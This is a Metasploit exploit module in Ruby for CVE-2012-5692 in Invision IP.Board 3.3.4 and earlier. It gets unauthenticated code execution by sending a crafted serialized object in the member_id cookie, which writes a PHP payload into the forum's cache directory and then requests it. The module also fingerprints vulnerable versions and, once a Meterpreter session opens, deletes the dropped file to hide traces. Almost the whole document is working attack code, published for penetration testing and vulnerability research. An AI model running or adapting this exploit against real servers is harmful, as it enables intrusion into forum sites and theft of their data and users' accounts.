Invision IP.Board <= 3.3.4 unserialize() PHP Code Execution

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
 
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::PhpEXE
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Invision IP.Board <= 3.3.4 unserialize() PHP Code Execution',
            'Description'    => %q{
                    This module exploits a php unserialize() vulnerability in Invision IP.Board
                <= 3.3.4 which could be abused to allow unauthenticated users to execute arbitrary
                code under the context of the webserver user.
 
                The dangerous unserialize() exists in the '/admin/sources/base/core.php' script,
                which is called with user controlled data from the cookie. The exploit abuses the
                __destruct() method from the dbMain class to write arbitrary PHP code to a file on
                the Invision IP.Board web directory.
 
                The exploit has been tested successfully on Invision IP.Board 3.3.4.
            },
            'Author'    =>
                [
                    'EgiX',         # Vulnerability discovery and PoC
                    'juan vazquez', # Metasploit module
                    'sinn3r'        # PhpEXE tekniq & check() method
                ],
            'License'        => MSF_LICENSE,
            'References'     =>
                [
                    [ 'CVE', '2012-5692' ],
                    [ 'OSVDB', '86702' ],
                    [ 'BID', '56288' ],
                    [ 'EDB', '22398' ],
                    [ 'URL', 'http://community.invisionpower.com/topic/371625-ipboard-31x-32x-and-33x-critical-security-update/' ]
                ],
            'Privileged'     => false,
            'Platform'       => ['php'],
            'Arch'           => ARCH_PHP,
            'Payload'        =>
                {
                    'Space'       => 8000, #Apache's limit for GET
                    'DisableNops' => true
                },
            'Targets'        => [ ['Invision IP.Board 3.3.4', {}] ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Oct 25 2012'
            ))
 
        register_options(
            [
                OptString.new('TARGETURI', [ true, "The base path to the web application", "/forums/"])
            ], self.class)
    end
 
    def base
        base = target_uri.path
        base << '/' if base[-1, 1] != '/'
        return base
    end
 
    def check
        res = send_request_raw({'uri'=>"#{base}index.php"})
        return Exploit::CheckCode::Unknown if not res
 
        version = res.body.scan(/Community Forum Software by IP\.Board (\d+)\.(\d+).(\d+)/).flatten
        version = version.map {|e| e.to_i}
 
        # We only want major version 3
        # This version checking is based on OSVDB's info
        return Exploit::CheckCode::Safe if version[0] != 3
 
        case version[1]
        when 1
            return Exploit::CheckCode::Vulnerable if version[2].between?(0, 4)
        when 2
            return Exploit::CheckCode::Vulnerable if version[2].between?(0, 3)
        when 3
            return Exploit::CheckCode::Vulnerable if version[2].between?(0, 4)
        end
 
        return Exploit::CheckCode::Safe
    end
 
    def on_new_session(client)
        if client.type == "meterpreter"
            client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
            begin
                print_warning("#{@peer} - Deleting #{@upload_php}")
                client.fs.file.rm(@upload_php)
                print_good("#{@peer} - #{@upload_php} removed to stay ninja")
            rescue
                print_error("#{@peer} - Unable to remove #{f}")
            end
        end
    end
 
    def exploit
        @upload_php = rand_text_alpha(rand(4) + 4) + ".php"
        @peer = "#{rhost}:#{rport}"
 
        # get_write_exec_payload uses a function, which limits our ability to support
        # Linux payloads, because that requires a space:
        #   function my_cmd
        # becomes:
        #   functionmy_cmd #Causes parsing error
        # We'll have to address that in the mixin, and then come back to this module
        # again later.
        php_payload = get_write_exec_payload(:unlink_self=>true)
        php_payload = php_payload.gsub(/^\<\?php/, '<?')
        php_payload = php_payload.gsub(/ /,'')
 
        db_driver_mysql = "a:1:{i:0;O:15:\"db_driver_mysql\":1:{s:3:\"obj\";a:2:{s:13:\"use_debug_log\";i:1;s:9:\"debug_log\";s:#{"cache/#{@upload_php}".length}:\"cache/#{@upload_php}\";}}}"
 
        print_status("#{@peer} - Exploiting the unserialize() to upload PHP code")
 
        res = send_request_cgi(
        {
            'uri' => "#{base}index.php?#{php_payload}",
            'method' => 'GET',
            'cookie' => "member_id=#{Rex::Text.uri_encode(db_driver_mysql)}"
        })
 
        if not res or res.code != 200
            print_error("#{@peer} - Exploit failed: #{res.code}")
            return
        end
 
        print_status("#{@peer} - Executing the payload #{@upload_php}")
 
        res = send_request_raw({'uri' => "#{base}cache/#{@upload_php}"})
 
        if res
            print_error("#{@peer} - Payload execution failed: #{res.code}")
            return
        end
 
    end
end